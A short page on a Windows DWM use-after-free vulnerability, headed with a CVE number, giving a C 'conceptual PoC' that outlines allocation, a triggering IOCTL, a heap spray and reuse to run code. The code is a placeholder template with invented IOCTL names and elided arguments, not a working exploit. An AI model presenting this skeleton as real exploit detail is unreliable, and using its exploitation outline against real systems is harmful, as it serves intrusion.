CVE-2026-32154: Windows DWM释放后使用漏洞

// Conceptual PoC for Use-After-Free in DWM // Note: This is a generic template as specific exploit details are not disclosed. #include <windows.h> void TriggerUAF() { // 1. Allocate and manipulate object in DWM HANDLE hDwm = CreateFile(...); // 2. Trigger the free operation via specific IOCTL or message DeviceIoControl(hDwm, IOCTL_VULN_FREE, ...); // 3. Reallocate the memory with controlled data (Heap Spray) SprayHeap(0x41414141); // 4. Trigger the use-after-free to execute code DeviceIoControl(hDwm, IOCTL_VULN_USE, ...); } int main() { TriggerUAF(); return 0; }